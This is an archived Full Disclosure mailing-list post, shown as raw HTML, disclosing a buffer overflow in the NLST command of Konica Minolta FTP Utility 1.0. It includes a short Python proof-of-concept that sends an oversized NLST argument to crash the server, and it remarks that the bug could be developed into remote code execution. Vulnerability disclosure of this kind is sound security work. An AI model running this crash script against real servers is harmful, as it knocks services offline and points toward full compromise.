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[FD] Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC)
- To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC)
- From: <socket_0x03@xxxxxxxxxxx>
- Date: Wed, 20 May 2020 05:23:41 -0700
<html><body><span style="font-family:Verdana; color:#000000;
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style=""><font face="verdana, geneva" style=""><span
style="">====================================================================================================</span></font></div><div
style=""><font face="verdana, geneva" style=""><span style="">===============
[ Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC) ]
===============</span></font></div><div style=""><font face="verdana, geneva"
style=""><span
style="">====================================================================================================</span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""><br
style=""></span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># Exploit Title: Konica Minolta FTP Utility v1.0 -
'NLST' Denial of Service (PoC) </span></font></div><div style=""><font
face="verdana, geneva" style=""><span style=""># Date:
[05-16-2020]</span></font></div><div style=""><font face="verdana, geneva"
style=""><span style="">#</span></font></div><div style=""><font face="verdana,
geneva" style=""><span style=""># Found by: Alvaro J. Gene
(Socket_0x03)</span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># Email: Socket_0x03 (at) teraexe (dot)
com</span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># Website: www (dot) teraexe (dot)
com</span></font></div><div style=""><font face="verdana, geneva"
style=""><span style="">#</span></font></div><div style=""><font face="verdana,
geneva" style=""><span style=""># Software Link: <a
href="https://konica-minolta-ftp-utility.software.informer.com/download";>https://konica-minolta-ftp-utility.software.informer.com/download</a>/</span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""># Vulnerable
Application: Konica Minolta FTP Utility</span></font></div><div style=""><font
face="verdana, geneva" style=""><span style=""># Version:
1.0</span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># Server: FTP Server</span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""># Vulnerable
Command: NLST</span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># Tested on: Windows 7 SP1</span></font></div><div
style=""><font face="verdana, geneva" style=""><span
style=""># </span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># Impact: There is a buffer overflow vulnerability in
the NLST command of the FTP server</span></font></div><div style=""><font
face="verdana, geneva" style=""><span style=""># "Konica Minolta FTP Utility"
that will allow an attacker to overwrite some
registers, </span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># such as EAX, ESI, EDI... Even though the next codes
will crash the FTP server and overwrite </span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""># some registers,
an individual can use the vulnerable command to build a remote
buffer </span></font></div><div style=""><font face="verdana, geneva"
style=""><span style=""># overflow exploit that will root a system without any
user interaction. </span></font></div><div style=""><font face="verdana,
geneva" style=""><span style=""><br style=""></span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""><br
style=""></span></font></div><div style=""><font face="verdana, geneva"
style=""><span style="">from ftplib import FTP</span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""><br
style=""></span></font></div><div style=""><font face="verdana, geneva"
style=""><span style="">ftp = FTP('192.168.0.16')</span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""><br
style=""></span></font></div><div style=""><font face="verdana, geneva"
style=""><span style="">buffer = "A" * 1500</span></font></div><div
style=""><font face="verdana, geneva" style=""><span style=""><br
style=""></span></font></div><div style=""><font face="verdana, geneva"
style=""><span style="">ftp.login()</span></font></div><div style=""><font
face="verdana, geneva" style=""><span style=""><br
style=""></span></font></div><div style=""><font face="verdana, geneva"
style=""><span style="">ftp.retrlines('NLST ' +
buffer)</span></font></div></span></body></html>
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